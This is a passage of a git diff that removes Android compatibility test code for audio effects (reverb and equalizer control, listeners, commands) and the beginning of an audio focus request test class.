-            // test passed
-        } finally {
-            if (effect != null) {
-                effect.release();
-            }
-        }
-    }
-
-    //Test case 3.8: test getParameter() throws exception after release()
-    public void test3_8GetParameterAfterRelease() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        AudioEffect effect = null;
-        try {
-            effect = new AudioEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB,
-                                    AudioEffect.EFFECT_TYPE_NULL,
-                                    0,
-                                    0);
-            assertNotNull("could not create AudioEffect", effect);
-            effect.release();
-            short[] value = new short[1];
-            effect.getParameter(PresetReverb.PARAM_PRESET, value);
-            fail("getParameter() processed after release");
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("getParameter() rejected");
-        } catch (IllegalStateException e) {
-            // test passed
-        } finally {
-            if (effect != null) {
-                effect.release();
-            }
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 4 priority and listeners
-    //----------------------------------
-
-    //Test case 4.0: test control passed to higher priority client
-    public void test4_0setEnabledLowerPriority() throws Exception {
-        AudioEffect effect1 = null;
-        AudioEffect effect2 = null;
-        try {
-            effect1 = new AudioEffect(AudioEffect.EFFECT_TYPE_EQUALIZER,
-                                    AudioEffect.EFFECT_TYPE_NULL,
-                                    0,
-                                    0);
-            effect2 = new AudioEffect(AudioEffect.EFFECT_TYPE_EQUALIZER,
-                    AudioEffect.EFFECT_TYPE_NULL,
-                    1,
-                    0);
-
-            assertNotNull("could not create AudioEffect", effect1);
-            assertNotNull("could not create AudioEffect", effect2);
-
-            assertTrue("Effect2 does not have control", effect2.hasControl());
-            assertFalse("Effect1 has control", effect1.hasControl());
-            assertTrue("Effect1 can enable",
-                    effect1.setEnabled(true) == AudioEffect.ERROR_INVALID_OPERATION);
-            assertFalse("Effect1 has enabled", effect2.getEnabled());
-
-        } catch (IllegalArgumentException e) {
-            fail("Effect not found");
-        } catch (UnsupportedOperationException e) {
-            fail("Effect library not loaded");
-        } finally {
-            if (effect1 != null) {
-                effect1.release();
-            }
-            if (effect2 != null) {
-                effect2.release();
-            }
-        }
-    }
-
-    //Test case 4.1: test control passed to higher priority client
-    public void test4_1setParameterLowerPriority() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        AudioEffect effect1 = null;
-        AudioEffect effect2 = null;
-        try {
-            effect1 = new AudioEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB,
-                                    AudioEffect.EFFECT_TYPE_NULL,
-                                    0,
-                                    0);
-            effect2 = new AudioEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB,
-                    AudioEffect.EFFECT_TYPE_NULL,
-                    1,
-                    0);
-
-            assertNotNull("could not create AudioEffect", effect1);
-            assertNotNull("could not create AudioEffect", effect2);
-
-            int status = effect2.setParameter(PresetReverb.PARAM_PRESET,
-                    PresetReverb.PRESET_SMALLROOM);
-            assertEquals("Effect2 setParameter failed",
-                    AudioEffect.SUCCESS, status);
-
-            status = effect1.setParameter(PresetReverb.PARAM_PRESET,
-                    PresetReverb.PRESET_MEDIUMROOM);
-            assertEquals("Effect1 setParameter did not fail",
-                    AudioEffect.ERROR_INVALID_OPERATION, status);
-
-            short[] value = new short[1];
-            status = effect2.getParameter(PresetReverb.PARAM_PRESET, value);
-            assertFalse("Effect2 getParameter failed",
-                    AudioEffect.isError(status));
-            assertEquals("Effect1 changed parameter", PresetReverb.PRESET_SMALLROOM
-                    , value[0]);
-
-
-        } catch (IllegalArgumentException e) {
-            fail("Effect not found");
-        } catch (UnsupportedOperationException e) {
-            fail("Effect library not loaded");
-        } finally {
-            if (effect1 != null) {
-                effect1.release();
-            }
-            if (effect2 != null) {
-                effect2.release();
-            }
-        }
-    }
-
-    //Test case 4.2: test control status listener
-    public void test4_2ControlStatusListener() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        synchronized(mLock) {
-            mHasControl = true;
-            mInitialized = false;
-            createListenerLooper(true, false, false);
-            waitForLooperInitialization_l();
-
-            getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mHasControl && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseEffect();
-        }
-        assertFalse("effect control not lost by effect1", mHasControl);
-    }
-
-    //Test case 4.3: test enable status listener
-    public void test4_3EnableStatusListener() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        synchronized(mLock) {
-            mInitialized = false;
-            createListenerLooper(false, true, false);
-            waitForLooperInitialization_l();
-
-            mEffect2.setEnabled(true);
-            mIsEnabled = true;
-
-            getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
-            assertTrue("effect not enabled", mEffect.getEnabled());
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mIsEnabled && (looperWaitCount-- > 0)) {
-                try {
-                    mEffect.setEnabled(false);
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseEffect();
-        }
-        assertFalse("enable status not updated", mIsEnabled);
-    }
-
-    //Test case 4.4: test parameter changed listener
-    public void test4_4ParameterChangedListener() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        synchronized(mLock) {
-            mInitialized = false;
-            createListenerLooper(false, false, true);
-            waitForLooperInitialization_l();
-            int status = mEffect2.setParameter(PresetReverb.PARAM_PRESET,
-                    PresetReverb.PRESET_SMALLROOM);
-            assertEquals("mEffect2 setParameter failed",
-                    AudioEffect.SUCCESS, status);
-            getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
-            mChangedParameter = -1;
-            mEffect.setParameter(PresetReverb.PARAM_PRESET,
-                    PresetReverb.PRESET_MEDIUMROOM);
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mChangedParameter == -1 && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseEffect();
-        }
-        assertEquals("parameter change not received",
-                PresetReverb.PARAM_PRESET, mChangedParameter);
-    }
-
-    //-----------------------------------------------------------------
-    // 5 command method
-    //----------------------------------
-
-
-    //Test case 5.0: test command method
-    public void test5_0Command() throws Exception {
-        if (!isPresetReverbAvailable()) {
-            return;
-        }
-        getEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB, 0);
-        try {
-            byte[] cmd = new byte[0];
-            byte[] reply = new byte[4];
-            // command 3 is ENABLE
-            int status = mEffect.command(3, cmd, reply);
-            assertFalse("command failed", AudioEffect.isError(status));
-            assertTrue("effect not enabled", mEffect.getEnabled());
-
-        } catch (IllegalStateException e) {
-            fail("command in illegal state");
-        } finally {
-            releaseEffect();
-        }
-    }
-
-
-    //-----------------------------------------------------------------
-    // private methods
-    //----------------------------------
-
-    private void getEffect(UUID type, int session) {
-         if (mEffect == null || session != mSession) {
-             if (session != mSession && mEffect != null) {
-                 mEffect.release();
-                 mEffect = null;
-             }
-             try {
-                 mEffect = new AudioEffect(type,
-                                             AudioEffect.EFFECT_TYPE_NULL,
-                                             0,
-                                             session);
-                 mSession = session;
-            } catch (IllegalArgumentException e) {
-                Log.e(TAG, "getEffect() AudioEffect not found exception: "+e);
-            } catch (UnsupportedOperationException e) {
-                Log.e(TAG, "getEffect() Effect library not loaded exception: "+e);
-            }
-         }
-         assertNotNull("could not create mEffect", mEffect);
-    }
-
-    private void releaseEffect() {
-        if (mEffect != null) {
-            mEffect.release();
-            mEffect = null;
-        }
-    }
-
-    private void waitForLooperInitialization_l() {
-        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-        while (!mInitialized && (looperWaitCount-- > 0)) {
-            try {
-                mLock.wait();
-            } catch(Exception e) {
-            }
-        }
-        assertTrue(mInitialized);
-    }
-
-    // Initializes the equalizer listener looper
-    class ListenerThread extends Thread {
-        boolean mControl;
-        boolean mEnable;
-        boolean mParameter;
-
-        public ListenerThread(boolean control, boolean enable, boolean parameter) {
-            super();
-            mControl = control;
-            mEnable = enable;
-            mParameter = parameter;
-        }
-
-        public void cleanUp() {
-            if (mEffect2 != null) {
-                mEffect2.setControlStatusListener(null);
-                mEffect2.setEnableStatusListener(null);
-                mEffect2.setParameterListener(null);
-            }
-        }
-    }
-
-    private void createListenerLooper(boolean control, boolean enable, boolean parameter) {
-        mEffectListenerLooper = new ListenerThread(control, enable, parameter) {
-            @Override
-            public void run() {
-                // Set up a looper
-                Looper.prepare();
-
-                // Save the looper so that we can terminate this thread
-                // after we are done with it.
-                mLooper = Looper.myLooper();
-
-                mEffect2 = new AudioEffect(AudioEffect.EFFECT_TYPE_PRESET_REVERB,
-                        AudioEffect.EFFECT_TYPE_NULL,
-                        0,
-                        0);
-                assertNotNull("could not create Equalizer2", mEffect2);
-
-                synchronized(mLock) {
-                    if (mControl) {
-                        mEffect2.setControlStatusListener(
-                                new AudioEffect.OnControlStatusChangeListener() {
-                            public void onControlStatusChange(
-                                    AudioEffect effect, boolean controlGranted) {
-                                synchronized(mLock) {
-                                    if (effect == mEffect2) {
-                                        mHasControl = controlGranted;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    if (mEnable) {
-                        mEffect2.setEnableStatusListener(
-                                new AudioEffect.OnEnableStatusChangeListener() {
-                            public void onEnableStatusChange(AudioEffect effect, boolean enabled) {
-                                synchronized(mLock) {
-                                    if (effect == mEffect2) {
-                                        mIsEnabled = enabled;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    if (mParameter) {
-                        mEffect2.setParameterListener(new AudioEffect.OnParameterChangeListener() {
-                            public void onParameterChange(AudioEffect effect, int status, byte[] param,
-                                    byte[] value)
-                            {
-                                synchronized(mLock) {
-                                    if (effect == mEffect2) {
-                                        mChangedParameter = mEffect2.byteArrayToInt(param);
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    mInitialized = true;
-                    mLock.notify();
-                }
-                Looper.loop();  // Blocks forever until Looper.quit() is called.
-            }
-        };
-        mEffectListenerLooper.start();
-    }
-
-    // Terminates the listener looper thread.
-    private void terminateListenerLooper() {
-        if (mEffectListenerLooper != null) {
-            mEffectListenerLooper.cleanUp();
-            if (mLooper != null) {
-                mLooper.quit();
-                mLooper = null;
-            }
-            try {
-                mEffectListenerLooper.join();
-            } catch(InterruptedException e) {
-            }
-            mEffectListenerLooper = null;
-        }
-        if (mEffect2 != null) {
-            mEffect2.release();
-            mEffect2 = null;
-        }
-    }
-
-    /*
-     * Initializes the message looper so that the MediaPlayer object can
-     * receive the callback messages.
-     */
-    private void createMediaPlayerLooper() {
-        new Thread() {
-            @Override
-            public void run() {
-                // Set up a looper to be used by mMediaPlayer.
-                Looper.prepare();
-
-                // Save the looper so that we can terminate this thread
-                // after we are done with it.
-                mLooper = Looper.myLooper();
-
-                mMediaPlayer = new MediaPlayer();
-
-                synchronized(mLock) {
-                    mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
-                        public boolean onError(MediaPlayer player, int what, int extra) {
-                            synchronized(mLock) {
-                                mError = what;
-                                mLock.notify();
-                            }
-                            return true;
-                        }
-                    });
-                    mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
-                        public void onCompletion(MediaPlayer player) {
-                            synchronized(mLock) {
-                                mLock.notify();
-                            }
-                        }
-                    });
-                    mInitialized = true;
-                    mLock.notify();
-                }
-                Looper.loop();  // Blocks forever until Looper.quit() is called.
-            }
-        }.start();
-    }
-    /*
-     * Terminates the message looper thread.
-     */
-    private void terminateMediaPlayerLooper() {
-        if (mLooper != null) {
-            mLooper.quit();
-            mLooper = null;
-        }
-        if (mMediaPlayer != null) {
-            mMediaPlayer.release();
-        }
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioFocusTest.java b/tests/tests/media/src/android/media/cts/AudioFocusTest.java
deleted file mode 100644
index a7a7b00..0000000
--- a/tests/tests/media/src/android/media/cts/AudioFocusTest.java
+++ /dev/null
@@ -1,595 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.Manifest;
-import android.annotation.Nullable;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.content.res.AssetFileDescriptor;
-import android.media.AudioAttributes;
-import android.media.AudioFocusRequest;
-import android.media.AudioManager;
-import android.media.AudioManager.OnAudioFocusChangeListener;
-import android.media.MediaPlayer;
-import android.media.cts.R;
-import android.net.Uri;
-import android.os.Build;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import com.android.compatibility.common.util.CtsAndroidTestCase;
-
-import java.io.File;
-
-@NonMediaMainlineTest
-public class AudioFocusTest extends CtsAndroidTestCase {
-    private static final String TAG = "AudioFocusTest";
-
-    private static final int TEST_TIMING_TOLERANCE_MS = 100;
-    private static final long MEDIAPLAYER_PREPARE_TIMEOUT_MS = 2000;
-
-    private static final AudioAttributes ATTR_DRIVE_DIR = new AudioAttributes.Builder()
-            .setUsage(AudioAttributes.USAGE_ASSISTANCE_NAVIGATION_GUIDANCE)
-            .setContentType(AudioAttributes.CONTENT_TYPE_SPEECH)
-            .build();
-    private static final AudioAttributes ATTR_MEDIA = new AudioAttributes.Builder()
-            .setUsage(AudioAttributes.USAGE_MEDIA)
-            .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
-            .build();
-    private static final AudioAttributes ATTR_A11Y = new AudioAttributes.Builder()
-            .setUsage(AudioAttributes.USAGE_ASSISTANCE_ACCESSIBILITY)
-            .setContentType(AudioAttributes.CONTENT_TYPE_SPEECH)
-            .build();
-
-
-    public void testInvalidAudioFocusRequestDelayNoListener() throws Exception {
-        AudioFocusRequest req = null;
-        Exception ex = null;
-        try {
-            req = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
-                    .setAcceptsDelayedFocusGain(true).build();
-        } catch (Exception e) {
-            // expected
-            ex = e;
-        }
-        assertNotNull("No exception was thrown for an invalid build", ex);
-        assertEquals("Wrong exception thrown", ex.getClass(), IllegalStateException.class);
-        assertNull("Shouldn't be able to create delayed request without listener", req);
-    }
-
-    public void testInvalidAudioFocusRequestPauseOnDuckNoListener() throws Exception {
-        AudioFocusRequest req = null;
-        Exception ex = null;
-        try {
-            req = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
-                    .setWillPauseWhenDucked(true).build();
-        } catch (Exception e) {
-            // expected
-            ex = e;
-        }
-        assertNotNull("No exception was thrown for an invalid build", ex);
-        assertEquals("Wrong exception thrown", ex.getClass(), IllegalStateException.class);
-        assertNull("Shouldn't be able to create pause-on-duck request without listener", req);
-    }
-
-    public void testAudioFocusRequestBuilderDefault() throws Exception {
-        final AudioFocusRequest reqDefaults =
-                new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN).build();
-        assertEquals("Focus gain differs", AudioManager.AUDIOFOCUS_GAIN,
-                reqDefaults.getFocusGain());
-        assertEquals("Listener differs", null, reqDefaults.getOnAudioFocusChangeListener());
-        assertEquals("Handler differs", null, reqDefaults.getOnAudioFocusChangeListenerHandler());
-        assertEquals("Duck behavior differs", false, reqDefaults.willPauseWhenDucked());
-        assertEquals("Delayed focus differs", false, reqDefaults.acceptsDelayedFocusGain());
-    }
-
-
-    public void testAudioFocusRequestCopyBuilder() throws Exception {
-        final FocusChangeListener focusListener = new FocusChangeListener();
-        final int focusGain = AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK;
-        final AudioFocusRequest reqToCopy =
-                new AudioFocusRequest.Builder(focusGain)
-                .setAudioAttributes(ATTR_DRIVE_DIR)
-                .setOnAudioFocusChangeListener(focusListener)
-                .setAcceptsDelayedFocusGain(true)
-                .setWillPauseWhenDucked(true)
-                .build();
-
-        AudioFocusRequest newReq = new AudioFocusRequest.Builder(reqToCopy).build();
-        assertEquals("AudioAttributes differ", ATTR_DRIVE_DIR, newReq.getAudioAttributes());
-        assertEquals("Listener differs", focusListener, newReq.getOnAudioFocusChangeListener());
-        assertEquals("Focus gain differs", focusGain, newReq.getFocusGain());
-        assertEquals("Duck behavior differs", true, newReq.willPauseWhenDucked());
-        assertEquals("Delayed focus differs", true, newReq.acceptsDelayedFocusGain());
-
-        newReq = new AudioFocusRequest.Builder(reqToCopy)
-                .setWillPauseWhenDucked(false)
-                .setFocusGain(AudioManager.AUDIOFOCUS_GAIN)
-                .build();
-        assertEquals("AudioAttributes differ", ATTR_DRIVE_DIR, newReq.getAudioAttributes());
-        assertEquals("Listener differs", focusListener, newReq.getOnAudioFocusChangeListener());
-        assertEquals("Focus gain differs", AudioManager.AUDIOFOCUS_GAIN, newReq.getFocusGain());
-        assertEquals("Duck behavior differs", false, newReq.willPauseWhenDucked());
-        assertEquals("Delayed focus differs", true, newReq.acceptsDelayedFocusGain());
-    }
-
-    public void testNullListenerHandlerNpe() throws Exception {
-        final AudioFocusRequest.Builder afBuilder =
-                new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN);
-        try {
-            afBuilder.setOnAudioFocusChangeListener(null);
-            fail("no NPE when setting a null listener");
-        } catch (NullPointerException e) {
-        }
-
-        final HandlerThread handlerThread = new HandlerThread(TAG);
-        handlerThread.start();
-        final Handler h = new Handler(handlerThread.getLooper());
-        final AudioFocusRequest.Builder afBuilderH =
-                new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN);
-        try {
-            afBuilderH.setOnAudioFocusChangeListener(null, h);
-            fail("no NPE when setting a null listener with non-null Handler");
-        } catch (NullPointerException e) {
-        }
-
-        final AudioFocusRequest.Builder afBuilderL =
-                new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN);
-        try {
-            afBuilderL.setOnAudioFocusChangeListener(new FocusChangeListener(), null);
-            fail("no NPE when setting a non-null listener with null Handler");
-        } catch (NullPointerException e) {
-        }
-    }
-
-    public void testAudioFocusRequestGainLoss() throws Exception {
-        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
-        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN, attributes, false /*no handler*/);
-    }
-
-    public void testAudioFocusRequestGainLossHandler() throws Exception {
-        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
-        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN, attributes, true /*with handler*/);
-    }
-
-
-    public void testAudioFocusRequestGainLossTransient() throws Exception {
-        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
-        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT, attributes,
-                false /*no handler*/);
-    }
-
-    public void testAudioFocusRequestGainLossTransientHandler() throws Exception {
-        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
-        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT, attributes,
-                true /*with handler*/);
-    }
-
-    public void testAudioFocusRequestGainLossTransientDuck() throws Exception {
-        if (hasAutomotiveFeature(getContext())) {
-            Log.i(TAG,"Test testAudioFocusRequestGainLossTransientDuck "
-                    + "skipped: not required for Auto platform");
-            return;
-        }
-
-        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
-        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK, attributes,
-                false /*no handler*/);
-    }
-
-    public void testAudioFocusRequestGainLossTransientDuckHandler() throws Exception {
-        if (hasAutomotiveFeature(getContext())) {
-            Log.i(TAG,"Test testAudioFocusRequestGainLossTransientDuckHandler "
-                    + "skipped: not required for Auto platform");
-            return;
-        }
-
-        final AudioAttributes[] attributes = { ATTR_DRIVE_DIR, ATTR_MEDIA };
-        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK, attributes,
-                true /*with handler*/);
-    }
-
-    public void testAudioFocusRequestForceDuckNotA11y() throws Exception {
-        if (hasAutomotiveFeature(getContext())) {
-            Log.i(TAG,"Test testAudioFocusRequestForceDuckNotA11y "
-                    + "skipped: not required for Auto platform");
-            return;
-        }
-
-        // verify a request that is "force duck"'d still causes loss of focus because it doesn't
-        // come from an A11y service, and requests are from same uid
-        final AudioAttributes[] attributes = {ATTR_MEDIA, ATTR_A11Y};
-        doTestTwoPlayersGainLoss(AudioManager.AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK, attributes,
-                false /*no handler*/, true /* forceDucking */);
-    }
-
-    /**
-     * Determine if automotive feature is available
-     * @param context context to query
-     * @return true if automotive feature is available
-     */
-    private static boolean hasAutomotiveFeature(Context context) {
-        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
-    }
-
-    /**
-     * Test delayed focus loss after fade out
-     * @throws Exception
-     */
-    @AppModeFull(reason = "Instant apps cannot access the SD card")
-    public void testAudioFocusRequestMediaGainLossWithPlayer() throws Exception {
-        if (hasAutomotiveFeature(getContext())) {
-            Log.i(TAG, "Test testAudioFocusRequestMediaGainLossWithPlayer "
-                    + "skipped: not required for Auto platform");
-            return;
-        }
-
-        // for query of fade out duration and focus request/abandon test methods
-        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
-                Manifest.permission.QUERY_AUDIO_STATE);
-
-        final int NB_FOCUS_OWNERS = 2;
-        final AudioFocusRequest[] focusRequests = new AudioFocusRequest[NB_FOCUS_OWNERS];
-        final FocusChangeListener[] focusListeners = new FocusChangeListener[NB_FOCUS_OWNERS];
-        final int FOCUS_UNDER_TEST = 0;// index of focus owner to be tested
-        final int FOCUS_SIMULATED = 1; // index of focus requester used to simulate a request coming
-                                       //   from another client on a different UID than CTS
-
-        final HandlerThread handlerThread = new HandlerThread(TAG);
-        handlerThread.start();
-        final Handler handler = new Handler(handlerThread.getLooper());
-
-        final AudioAttributes mediaAttributes = new AudioAttributes.Builder()
-                .setUsage(AudioAttributes.USAGE_MEDIA)
-                .build();
-        for (int focusIndex : new int[]{ FOCUS_UNDER_TEST, FOCUS_SIMULATED }) {
-            focusListeners[focusIndex] = new FocusChangeListener();
-            focusRequests[focusIndex] = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
-                    .setAudioAttributes(mediaAttributes)
-                    .setOnAudioFocusChangeListener(focusListeners[focusIndex], handler)
-                    .build();
-        }
-        final AudioManager am = new AudioManager(getContext());
-
-        MediaPlayer mp = null;
-        final String simFocusClientId = "fakeClientId";
-        try {
-            // set up the test conditions: a focus owner is playing media on a MediaPlayer
-            mp = createPreparedMediaPlayer(R.raw.sine1khzs40dblong, mediaAttributes);
-            int res = am.requestAudioFocus(focusRequests[FOCUS_UNDER_TEST]);
-            assertEquals("real focus request failed",
-                    AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
-            mp.start();
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-            final long fadeDuration = am.getFadeOutDurationOnFocusLossMillis(mediaAttributes);
-            Log.i(TAG, "using fade out duration = " + fadeDuration);
-
-            res = am.requestAudioFocusForTest(focusRequests[FOCUS_SIMULATED],
-                    simFocusClientId, Integer.MAX_VALUE /*fakeClientUid*/, Build.VERSION_CODES.S);
-            assertEquals("test focus request failed",
-                    AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
-
-            if (fadeDuration > 0) {
-                assertEquals("Focus loss dispatched too early", AudioManager.AUDIOFOCUS_NONE,
-                        focusListeners[FOCUS_UNDER_TEST].getFocusChangeAndReset());
-                // TODO refactor FocusListener to use Monitor instead of sleeping here
-                Thread.sleep(fadeDuration);
-            }
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-            assertEquals("Focus loss not dispatched", AudioManager.AUDIOFOCUS_LOSS,
-                    focusListeners[FOCUS_UNDER_TEST].getFocusChangeAndReset());
-
-        }
-        finally {
-            handler.getLooper().quit();
-            handlerThread.quitSafely();
-            if (mp != null) {
-                mp.release();
-            }
-            am.abandonAudioFocusForTest(focusRequests[FOCUS_SIMULATED], simFocusClientId);
-            am.abandonAudioFocusRequest(focusRequests[FOCUS_UNDER_TEST]);
-            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
-        }
-    }
-
-    /**
-     * Test there is no delayed focus loss when focus loser is playing speech
-     * @throws Exception
-     */
-    @AppModeFull(reason = "Instant apps cannot access the SD card")
-    public void testAudioFocusRequestMediaGainLossWithSpeechPlayer() throws Exception {
-        if (hasAutomotiveFeature(getContext())) {
-            Log.i(TAG, "Test testAudioFocusRequestMediaGainLossWithSpeechPlayer "
-                    + "skipped: not required for Auto platform");
-            return;
-        }
-        doTwoFocusOwnerOnePlayerFocusLoss(
-                true /*playSpeech*/,
-                false /*speechFocus*/,
-                false /*pauseOnDuck*/);
-    }
-
-    /**
-     * Test there is no delayed focus loss when focus loser had requested focus with
-     * AudioAttributes with speech content type
-     * @throws Exception
-     */
-    @AppModeFull(reason = "Instant apps cannot access the SD card")
-    public void testAudioFocusRequestMediaGainLossWithSpeechFocusRequest() throws Exception {
-        if (hasAutomotiveFeature(getContext())) {
-            Log.i(TAG, "Test testAudioFocusRequestMediaGainLossWithSpeechPlayer "
-                    + "skipped: not required for Auto platform");
-            return;
-        }
-        doTwoFocusOwnerOnePlayerFocusLoss(
-                false /*playSpeech*/,
-                true /*speechFocus*/,
-                false /*pauseOnDuck*/);
-    }
-
-    /**
-     * Test there is no delayed focus loss when focus loser had requested focus specifying
-     * it pauses on duck
-     * @throws Exception
-     */
-    @AppModeFull(reason = "Instant apps cannot access the SD card")
-    public void testAudioFocusRequestMediaGainLossWithPauseOnDuckFocusRequest() throws Exception {
-        if (hasAutomotiveFeature(getContext())) {
-            Log.i(TAG, "Test testAudioFocusRequestMediaGainLossWithSpeechPlayer "
-                    + "skipped: not required for Auto platform");
-            return;
-        }
-        doTwoFocusOwnerOnePlayerFocusLoss(
-                false /*playSpeech*/,
-                false /*speechFocus*/,
-                true /*pauseOnDuck*/);
-    }
-
-    private void doTwoFocusOwnerOnePlayerFocusLoss(boolean playSpeech, boolean speechFocus,
-            boolean pauseOnDuck) throws Exception {
-        // for query of fade out duration and focus request/abandon test methods
-        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
-                Manifest.permission.QUERY_AUDIO_STATE);
-
-        final int NB_FOCUS_OWNERS = 2;
-        final AudioFocusRequest[] focusRequests = new AudioFocusRequest[NB_FOCUS_OWNERS];
-        final FocusChangeListener[] focusListeners = new FocusChangeListener[NB_FOCUS_OWNERS];
-        // index of focus owner to be tested, has an active player
-        final int FOCUS_UNDER_TEST = 0;
-        // index of focus requester used to simulate a request coming from another client
-        // on a different UID than CTS
-        final int FOCUS_SIMULATED = 1;
-
-        final HandlerThread handlerThread = new HandlerThread(TAG);
-        handlerThread.start();
-        final Handler handler = new Handler(handlerThread.getLooper());
-
-        final AudioAttributes focusAttributes = new AudioAttributes.Builder()
-                .setUsage(AudioAttributes.USAGE_MEDIA)
-                .setContentType(playSpeech ? AudioAttributes.CONTENT_TYPE_SPEECH
-                        : AudioAttributes.CONTENT_TYPE_MUSIC)
-                .build();
-        final AudioAttributes playerAttributes = new AudioAttributes.Builder()
-                .setUsage(AudioAttributes.USAGE_MEDIA)
-                .setContentType(speechFocus ? AudioAttributes.CONTENT_TYPE_SPEECH
-                        : AudioAttributes.CONTENT_TYPE_MUSIC)
-                .build();
-        for (int focusIndex : new int[]{ FOCUS_UNDER_TEST, FOCUS_SIMULATED }) {
-            focusListeners[focusIndex] = new FocusChangeListener();
-            focusRequests[focusIndex] = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN)
-                    .setAudioAttributes(focusIndex == FOCUS_UNDER_TEST ? playerAttributes
-                            : focusAttributes)
-                    .setWillPauseWhenDucked(pauseOnDuck)
-                    .setOnAudioFocusChangeListener(focusListeners[focusIndex], handler)
-                    .build();
-        }
-        final AudioManager am = new AudioManager(getContext());
-
-        MediaPlayer mp = null;
-        final String simFocusClientId = "fakeClientId";
-        try {
-            // set up the test conditions: a focus owner is playing media on a MediaPlayer
-            mp = createPreparedMediaPlayer(R.raw.sine1khzs40dblong, playerAttributes);
-            int res = am.requestAudioFocus(focusRequests[FOCUS_UNDER_TEST]);
-            assertEquals("real focus request failed",
-                    AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
-            mp.start();
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-
-            res = am.requestAudioFocusForTest(focusRequests[FOCUS_SIMULATED],
-                    simFocusClientId, Integer.MAX_VALUE /*fakeClientUid*/, Build.VERSION_CODES.S);
-            assertEquals("test focus request failed",
-                    AudioManager.AUDIOFOCUS_REQUEST_GRANTED, res);
-
-            Thread.sleep(TEST_TIMING_TOLERANCE_MS);
-            assertEquals("Focus loss not dispatched", AudioManager.AUDIOFOCUS_LOSS,
-                    focusListeners[FOCUS_UNDER_TEST].getFocusChangeAndReset());
-
-        }
-        finally {
-            handler.getLooper().quit();
-            handlerThread.quitSafely();
-            if (mp != null) {
-                mp.release();
-            }
